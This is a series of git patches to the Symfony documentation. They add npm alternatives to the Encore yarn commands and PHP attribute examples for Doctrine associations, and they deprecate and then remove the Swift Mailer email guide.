index 90caeb966e4..2a859e7a109 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -21,9 +21,15 @@ Encore, you're done!
 
 Next, download any plugins you want, like ``autoprefixer``:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn add autoprefixer --dev
+  .. code-block:: terminal
+
+      $ yarn add autoprefixer --dev
+
+  .. code-block:: terminal
+
+      $ npm install autoprefixer --save-dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 927a13c4664..29a3093fe7a 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -8,9 +8,16 @@ Enabling React.js
 
 Using React? First add some dependencies with Yarn:
 
-.. code-block:: terminal
 
-    $ yarn add react react-dom prop-types
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn add react react-dom prop-types
+
+    .. code-block:: terminal
+
+        $ npm install react react-dom prop-types --save
 
 Enable react in your ``webpack.config.js``:
 
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 2e9153e26db..3d6f0691e51 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -59,22 +59,29 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an
 
 To build the assets, run:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        # compile assets once
+        $ yarn encore dev
+
+        # or, recompile assets automatically when files change
+        $ yarn encore dev --watch
+
+        # on deploy, create a production build
+        $ yarn encore production
 
-    # compile assets once
-    $ yarn encore dev
-    # if you prefer npm, run:
-    $ npm run dev
+    .. code-block:: terminal
 
-    # or, recompile assets automatically when files change
-    $ yarn encore dev --watch
-    # if you prefer npm, run:
-    $ npm run watch
+        # compile assets once
+        $ npm run dev
 
-    # on deploy, create a production build
-    $ yarn encore production
-    # if you prefer npm, run:
-    $ npm run build
+        # or, recompile assets automatically when files change
+        $ npm run watch
+
+        # on deploy, create a production build
+        $ npm run build
 
 .. note::
 
@@ -159,9 +166,15 @@ files. First, create a file that exports a function:
 
 We'll use jQuery to print this message on the page. Install it via:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn add jquery --dev
+
+    .. code-block:: terminal
 
-    $ yarn add jquery --dev
+        $ npm install jquery --save-dev
 
 Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
 
@@ -251,9 +264,16 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
 And because you just changed the ``webpack.config.js`` file, make sure to stop
 and restart Encore:
 
-.. code-block:: terminal
 
-    $ yarn run encore dev --watch
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn run encore dev --watch
+
+    .. code-block:: terminal
+
+        $ npm run watch
 
 Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file
 in your build directory. And, if any of those files require/import CSS, Webpack
@@ -320,10 +340,17 @@ Encore. When you do, you'll see an error!
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn add sass-loader@^10.0.0 sass --dev
+        $ yarn encore dev --watch
+
+    .. code-block:: terminal
 
-    $ yarn add sass-loader@^10.0.0 sass --dev
-    $ yarn encore dev --watch
+        $ npm install sass-loader@^10.0.0 sass --save-dev
+        $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See
 :doc:`/frontend/encore/css-preprocessors`.
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 976cd6974d8..7b0d9595797 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -8,9 +8,15 @@ generated CSS files.
 Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but
 it's disabled by default. First, add the URL loader to your project:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn add url-loader --dev
+    .. code-block:: terminal
+
+        $ yarn add url-loader --dev
+
+    .. code-block:: terminal
+
+        $ npm install url-loader --save-dev
 
 Then enable it in your ``webpack.config.js``:
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 2af99c075fb..3ed2edc5f88 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -35,9 +35,15 @@ The ``vue-loader`` supports hot module replacement: just update your code and wa
 your Vue.js app update *without* a browser refresh! To activate it, use the
 ``dev-server`` with the ``--hot`` option:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn encore dev-server --hot
+    .. code-block:: terminal
+
+        $ yarn encore dev-server --hot
+
+    .. code-block:: terminal
+
+        $ npm run dev-server -- --hot
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
 note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing

From bf07c0c41e0a751323a9433ea4b6c6b13ddf0cea Mon Sep 17 00:00:00 2001
From: Shiraz <shiraz.oa@gmail.com>
Date: Mon, 16 Aug 2021 11:46:20 +0400
Subject: [PATCH 1092/5766] Added attribute code block examples

---
 doctrine/associations.rst | 86 +++++++++++++++++++++++++++++++++++----
 1 file changed, 79 insertions(+), 7 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 4a2fafb6467..94c74dc0a6f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -171,6 +171,32 @@ the ``Product`` entity (and getter & setter methods):
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Product.php
+        namespace App\Entity;
+
+        // ...
+        class Product
+        {
+            // ...
+
+            #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: "products")]
+            private $category;
+
+            public function getCategory(): ?Category
+            {
+                return $this->category;
+            }
+
+            public function setCategory(?Category $category): self
+            {
+                $this->category = $category;
+
+                return $this;
+            }
+        }
+
     .. code-block:: yaml
 
         # src/Resources/config/doctrine/Product.orm.yml
@@ -248,6 +274,38 @@ class that will hold these objects:
             // addProduct() and removeProduct() were also added
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Category.php
+        namespace App\Entity;
+
+        // ...
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection;
+
+        class Category
+        {
+            // ...
+
+            #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category")]
+            private $products;
+
+            public function __construct()
+            {
+                $this->products = new ArrayCollection();
+            }
+
+            /**
+             * @return Collection|Product[]
+             */
+            public function getProducts(): Collection
+            {
+                return $this->products;
+            }
+
+            // addProduct() and removeProduct() were also added
+        }
+
     .. code-block:: yaml
 
         # src/Resources/config/doctrine/Category.orm.yml
@@ -597,16 +655,30 @@ on that ``Product`` will be set to ``null`` in the database.
 
 But, instead of setting the ``category_id`` to null, what if you want the ``Product``
 to be *deleted* if it becomes "orphaned" (i.e. without a ``Category``)? To choose
-that behavior, use the `orphanRemoval`_ option inside ``Category``::
+that behavior, use the `orphanRemoval`_ option inside ``Category``:
 
-    // src/Entity/Category.php
+.. configuration-block::
 
-    // ...
+    .. code-block:: php-annotations
+
+        // src/Entity/Category.php
+
+        // ...
+
+        /**
+         * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
+         */
+        private $products;
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Category.php
+
+        // ...
+
+        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval=true)]
+        private $products;
 
-    /**
-     * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
-     */
-    private $products;
 
 Thanks to this, if the ``Product`` is removed from the ``Category``, it will be
 removed from the database entirely.

From 90896382dbf37527c3f489a9cf2c4ff9311b86cd Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 18 Aug 2021 16:38:45 +0200
Subject: [PATCH 1093/5766] Take into account the EOM of Swiftmailer in docs

---
 components/http_kernel.rst        |  7 -------
 console/command_in_controller.rst | 18 ++++++++----------
 email.rst                         |  7 ++++---
 mailer.rst                        |  4 ++--
 migration.rst                     |  2 +-
 5 files changed, 15 insertions(+), 23 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 3fd76780295..ac2733058e0 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -498,12 +498,6 @@ as possible to the client (e.g. sending emails).
     Using the ``kernel.terminate`` event is optional, and should only be
     called if your kernel implements :class:`Symfony\\Component\\HttpKernel\\TerminableInterface`.
 
-.. sidebar:: ``kernel.terminate`` in the Symfony Framework
-
-    If you use the :ref:`memory spooling <email-spool-memory>` option of the
-    default Symfony mailer, then the `EmailSenderListener`_ is activated, which
-    actually delivers any emails that you scheduled to send during the request.
-
 .. _component-http-kernel-kernel-exception:
 
 Handling Exceptions: the ``kernel.exception`` Event
@@ -783,5 +777,4 @@ Learn more
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
-.. _`EmailSenderListener`: https://github.com/symfony/swiftmailer-bundle/blob/master/EventListener/EmailSenderListener.php
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 74cd6b09cbe..91ead2a7801 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -20,11 +20,9 @@ Instead, you can run the command directly from the controller.
     a controller has a slight performance impact because of the request stack
     overhead.
 
-Imagine you want to send spooled Swift Mailer messages by
-:doc:`using the swiftmailer:spool:send command </email>`.
-Run this command from inside your controller via::
+Imagine you want to run the ``debug:twig`` from inside your controller::
 
-    // src/Controller/SpoolController.php
+    // src/Controller/DebugTwigController.php
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Console\Application;
@@ -34,19 +32,19 @@ Run this command from inside your controller via::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\KernelInterface;
 
-    class SpoolController extends AbstractController
+    class DebugTwigController extends AbstractController
     {
-        public function sendSpool(int $messages = 10, KernelInterface $kernel): Response
+        public function debugTwig(KernelInterface $kernel): Response
         {
             $application = new Application($kernel);
             $application->setAutoExit(false);
 
             $input = new ArrayInput([
-                'command' => 'swiftmailer:spool:send',
+                'command' => 'debug:twig',
                 // (optional) define the value of command arguments
                 'fooArgument' => 'barValue',
                 // (optional) pass options to the command
-                '--message-limit' => $messages,
+                '--bar' => 'fooValue',
             ]);
 
             // You can use NullOutput() if you don't need the output
@@ -76,7 +74,7 @@ First, require the package:
 
 Now, use it in your controller::
 
-    // src/Controller/SpoolController.php
+    // src/Controller/DebugTwigController.php
     namespace App\Controller;
 
     use SensioLabs\AnsiConverter\AnsiToHtmlConverter;
@@ -85,7 +83,7 @@ Now, use it in your controller::
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    class SpoolController extends AbstractController
+    class DebugTwigController extends AbstractController
     {
         public function sendSpool(int $messages = 10): Response
         {
diff --git a/email.rst b/email.rst
index 60e630abc38..c5517bef991 100644
--- a/email.rst
+++ b/email.rst
@@ -4,10 +4,11 @@
 Swift Mailer
 ============
 
-.. note::
+.. caution::
 
-    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and can
-    be used instead of Swift Mailer.
+    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and should
+    be used instead of Swift Mailer as it won't be maintained anymore as of November
+    2021.
 
 Symfony provides a mailer feature based on the popular `Swift Mailer`_ library
 via the `SwiftMailerBundle`_. This mailer supports sending messages with your
diff --git a/mailer.rst b/mailer.rst
index e8191db3461..eddc04e8ef7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -3,8 +3,8 @@ Sending Emails with Mailer
 
 .. versionadded:: 4.3
 
-    The Mailer component was introduced in Symfony 4.3. The previous solution,
-    called Swift Mailer, is still valid: :doc:`Swift Mailer </email>`.
+    The Mailer component was introduced in Symfony 4.3 and replaces Swift
+    Mailer.
 
 Installation
 ------------
diff --git a/migration.rst b/migration.rst
index ce5bbbcd209..6b0807588aa 100644
--- a/migration.rst
+++ b/migration.rst
@@ -82,7 +82,7 @@ Setting up Composer
 Another point you will have to look out for is conflicts between
 dependencies in both applications. This is especially important if your
 existing application already uses Symfony components or libraries commonly
-used in Symfony applications such as Doctrine ORM, Swiftmailer or Twig.
+used in Symfony applications such as Doctrine ORM or Twig.
 A good way for ensuring compatibility is to use the same ``composer.json``
 for both project's dependencies.
 

From 43f092e4981c1a508873c1691cdad26901038491 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 19 Aug 2021 09:22:18 +0200
Subject: [PATCH 1094/5766] Remove references to Swiftmailer

---
 email.rst                               | 671 ------------------------
 index.rst                               |   1 -
 mailer.rst                              |   5 -
 reference/configuration/swiftmailer.rst | 390 --------------
 reference/dic_tags.rst                  |  23 -
 reference/index.rst                     |   1 -
 reference/map.rst.inc                   |   1 -
 7 files changed, 1092 deletions(-)
 delete mode 100644 email.rst
 delete mode 100644 reference/configuration/swiftmailer.rst

diff --git a/email.rst b/email.rst
deleted file mode 100644
index 37bcf3722cf..00000000000
--- a/email.rst
+++ /dev/null
@@ -1,671 +0,0 @@
-.. index::
-   single: Emails
-
-Swift Mailer
-============
-
-.. caution::
-
-    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and should
-    be used instead of Swift Mailer as it won't be maintained anymore as of November
-    2021.
-
-Symfony provides a mailer feature based on the popular `Swift Mailer`_ library
-via the `SwiftMailerBundle`_. This mailer supports sending messages with your
-own mail servers as well as using popular email providers like `Mandrill`_,
-`SendGrid`_, and `Amazon SES`_.
-
-Installation
-------------
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Swift Mailer based mailer before using it:
-
-.. code-block:: terminal
-
-    $ composer require symfony/swiftmailer-bundle
-
-If your application doesn't use Symfony Flex, follow the installation
-instructions on `SwiftMailerBundle`_.
-
-.. _swift-mailer-configuration:
-
-Configuration
--------------
-
-The ``config/packages/swiftmailer.yaml`` file that's created when installing the
-mailer provides all the initial config needed to send emails, except your mail
-server connection details. Those parameters are defined in the ``MAILER_URL``
-environment variable in the ``.env`` file:
-
-.. code-block:: bash
-
-    # .env (or override MAILER_URL in .env.local to avoid committing your changes)
-
-    # use this to disable email delivery
-    MAILER_URL=null://localhost
-
-    # use this to configure a traditional SMTP server
-    MAILER_URL=smtp://localhost:465?encryption=ssl&auth_mode=login&username=&password=
-
-.. caution::
-
-    If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
-    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
-    :phpfunction:`urlencode` function to encode them.
-
-Refer to the :doc:`SwiftMailer configuration reference </reference/configuration/swiftmailer>`
-for the detailed explanation of all the available config options.
-
-Sending Emails
---------------
-
-The Swift Mailer library works by creating, configuring and then sending
-``Swift_Message`` objects. The "mailer" is responsible for the actual delivery
-of the message and is accessible via the ``Swift_Mailer`` service. Overall,
-sending an email is pretty straightforward::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/emails/registration.html.twig
-                    'emails/registration.html.twig',
-                    ['name' => $name]
-                ),
-                'text/html'
-            )
-
-            // you can remove the following code if you don't define a text version for your emails
-            ->addPart(
-                $this->renderView(
-                    // templates/emails/registration.txt.twig
-                    'emails/registration.txt.twig',
-                    ['name' => $name]
-                ),
-                'text/plain'
-            )
-        ;
-
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-To keep things decoupled, the email body has been stored in a template and
-rendered with the ``renderView()`` method. The ``registration.html.twig``
-template might look something like this:
-
-.. code-block:: html+twig
-
-    {# templates/emails/registration.html.twig #}
-    <h3>You did it! You registered!</h3>
-
-    Hi {{ name }}! You're successfully registered.
-
-    {# example, assuming you have a route named "login" #}
-    To login, go to: <a href="{{ url('login') }}">...</a>.
-
-    Thanks!
-
-    {# Makes an absolute URL to the /images/logo.png file #}
-    <img src="{{ absolute_url(asset('images/logo.png')) }}">
-
-The ``$message`` object supports many more options, such as including attachments,
-adding HTML content, and much more. Refer to the `Creating Messages`_ section
-of the Swift Mailer documentation for more details.
-
-.. _email-using-gmail:
-
-Using Gmail to Send Emails
---------------------------
-
-During development, you might prefer to send emails using Gmail instead of
-setting up a regular SMTP server. To do that, update the ``MAILER_URL`` of your
-``.env`` file to this:
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost
-
-The ``gmail`` transport is a shortcut that uses the ``smtp`` transport, ``ssl``
-encryption, ``login`` auth mode and ``smtp.gmail.com`` host. If your app uses
-other encryption or auth mode, you must override those values
-(:doc:`see mailer config reference </reference/configuration/swiftmailer>`):
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost?encryption=tls&auth_mode=oauth
-
-If your Gmail account uses 2-Step-Verification, you must `generate an App password`_
-and use it as the value of the mailer password. You must also ensure that you
-`allow less secure applications to access your Gmail account`_.
-
-Using Cloud Services to Send Emails
------------------------------------
-
-Cloud mailing services are a popular option for companies that don't want to set
-up and maintain their own reliable mail servers. To use these services in a
-Symfony app, update the value of ``MAILER_URL`` in the ``.env``
-file. For example, for `Amazon SES`_ (Simple Email Service):
-
-.. code-block:: bash
-
-    # The host will be different depending on your AWS zone
-    # The username/password credentials are obtained from the Amazon SES console
-    MAILER_URL=smtp://email-smtp.us-east-1.amazonaws.com:587?encryption=tls&username=YOUR_SES_USERNAME&password=YOUR_SES_PASSWORD
-
-Use the same technique for other mail services, as most of the time there is
-nothing more to it than configuring an SMTP endpoint.
-
-How to Work with Emails during Development
-------------------------------------------
-
-When developing an application which sends email, you will often
-not want to actually send the email to the specified recipient during
-development. If you are using the SwiftmailerBundle with Symfony, you
-can achieve this through configuration settings without having to make
-any changes to your application's code at all. There are two main choices
-when it comes to handling email during development: (a) disabling the
-sending of email altogether or (b) sending all email to a specific
-address (with optional exceptions).
-
-Disabling Sending
-~~~~~~~~~~~~~~~~~
-
-You can disable sending email by setting the ``disable_delivery`` option to
-``true``, which is the default value used by Symfony in the ``test`` environment
-(email messages will continue to be sent in the other environments):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => "true",
-        ]);
-
-.. _sending-to-a-specified-address:
-
-Sending to a Specified Address(es)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can also choose to have all email sent to a specific address or a list of addresses, instead
-of the address actually specified when sending the message. This can be done
-via the ``delivery_addresses`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ['dev@example.com'],
-        ]);
-
-Now, suppose you're sending an email to ``recipient@example.com`` in a controller::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/hello/email.txt.twig
-                    'hello/email.txt.twig',
-                    ['name' => $name]
-                )
-            )
-        ;
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-In the ``dev`` environment, the email will instead be sent to ``dev@example.com``.
-Swift Mailer will add an extra header to the email, ``X-Swift-To``, containing
-the replaced address, so you can still see who it would have been sent to.
-
-.. note::
-
-    In addition to the ``to`` addresses, this will also stop the email being
-    sent to any ``CC`` and ``BCC`` addresses set for it. Swift Mailer will add
-    additional headers to the email with the overridden addresses in them.
-    These are ``X-Swift-Cc`` and ``X-Swift-Bcc`` for the ``CC`` and ``BCC``
-    addresses respectively.
-
-.. _sending-to-a-specified-address-but-with-exceptions:
-
-Sending to a Specified Address but with Exceptions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Suppose you want to have all email redirected to a specific address,
-(like in the above scenario to ``dev@example.com``). But then you may want
-email sent to some specific email addresses to go through after all, and
-not be redirected (even if it is in the dev environment). This can be done
-by adding the ``delivery_whitelist`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-            delivery_whitelist:
-                # all email addresses matching these regexes will be delivered
-                # like normal, as well as being sent to dev@example.com
-                - '/@specialdomain\.com$/'
-                - '/^admin@mydomain\.com$/'
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <!-- all email addresses matching these regexes will be delivered
-                     like normal, as well as being sent to dev@example.com -->
-                <swiftmailer:delivery-whitelist-pattern>/@specialdomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-whitelist-pattern>/^admin@mydomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ["dev@example.com"],
-            'delivery_whitelist' => [
-                // all email addresses matching these regexes will be delivered
-                // like normal, as well as being sent to dev@example.com
-                '/@specialdomain\.com$/',
-                '/^admin@mydomain\.com$/',
-            ],
-        ]);
-
-In the above example all email messages will be redirected to ``dev@example.com``
-and messages sent to the ``admin@mydomain.com`` address or to any email address
-belonging to the domain ``specialdomain.com`` will also be delivered as normal.
-
-.. caution::
-
-    The ``delivery_whitelist`` option is ignored unless the ``delivery_addresses`` option is defined.
-
-Viewing from the Web Debug Toolbar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can view any email sent during a single response when you are in the
-``dev`` environment using the web debug toolbar. The email icon in the toolbar
-will show how many emails were sent. If you click it, a report will open
-showing the details of the sent emails.
-
-If you're sending an email and then immediately redirecting to another page,
-the web debug toolbar will not display an email icon or a report on the next
-page.
-
-Instead, you can set the ``intercept_redirects`` option to ``true`` in the
-``dev`` environment, which will cause the redirect to stop and allow you to open
-the report with details of the sent emails.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/web_profiler.yaml
-        web_profiler:
-            intercept_redirects: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/web_profiler.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:webprofiler="http://symfony.com/schema/dic/webprofiler"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/webprofiler
-                https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd">
-
-            <webprofiler:config
-                intercept-redirects="true"
-            />
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/web_profiler.php
-        use Symfony\Config\WebProfilerConfig;
-
-        return static function (WebProfilerConfig $webProfiler) {
-            $webProfiler->interceptRedirects(true);
-        };
-
-.. tip::
-
-    Alternatively, you can open the profiler after the redirect and search
-    by the submit URL used on the previous request (e.g. ``/contact/handle``).
-    The profiler's search feature allows you to load the profiler information
-    for any past requests.
-
-.. tip::
-
-    In addition to the features provided by Symfony, there are applications that
-    can help you test emails during application development, like `MailCatcher`_,
-    `Mailtrap`_ and `MailHog`_.
-
-How to Spool Emails
--------------------
-
-The default behavior of the Symfony mailer is to send the email messages
-immediately. You may, however, want to avoid the performance hit of the
-communication to the email server, which could cause the user to wait for the
-next page to load while the email is sending. This can be avoided by choosing to
-"spool" the emails instead of sending them directly.
-
-This makes the mailer to not attempt to send the email message but instead save
-it somewhere such as a file. Another process can then read from the spool and
-take care of sending the emails in the spool. Currently only spooling to file or
-memory is supported.
-
-.. _email-spool-memory:
-
-Spool Using Memory
-~~~~~~~~~~~~~~~~~~
-
-When you use spooling to store the emails to memory, they will get sent right
-before the kernel terminates. This means the email only gets sent if the whole
-request got executed without any unhandled exception or any errors. To configure
-this spool, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool: { type: memory }
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool type="memory"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-            'spool' => ['type' => 'memory'],
-        ]);
-
-.. _spool-using-a-file:
-
-Spool Using Files
-~~~~~~~~~~~~~~~~~
-
-When you use the filesystem for spooling, Symfony creates a folder in the given
-path for each mail service (e.g. "default" for the default service). This folder
-will contain files for each email in the spool. So make sure this directory is
-writable by Symfony (or your webserver/php)!
-
-In order to use the spool with files, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool:
-                type: file
-                path: /path/to/spooldir
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool
-                    type="file"
-                    path="/path/to/spooldir"
-                />
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-
-            'spool' => [
-                'type' => 'file',
-                'path' => '/path/to/spooldir',
-            ],
-        ]);
-
-.. tip::
-
-    If you want to store the spool somewhere with your project directory,
-    remember that you can use the ``%kernel.project_dir%`` parameter to reference
-    the project's root:
-
-    .. code-block:: yaml
-
-        path: '%kernel.project_dir%/var/spool'
-
-Now, when your app sends an email, it will not actually be sent but instead
-added to the spool. Sending the messages from the spool is done separately.
-There is a console command to send the messages in the spool:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send
-
-It has an option to limit the number of messages to be sent:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --message-limit=10
-
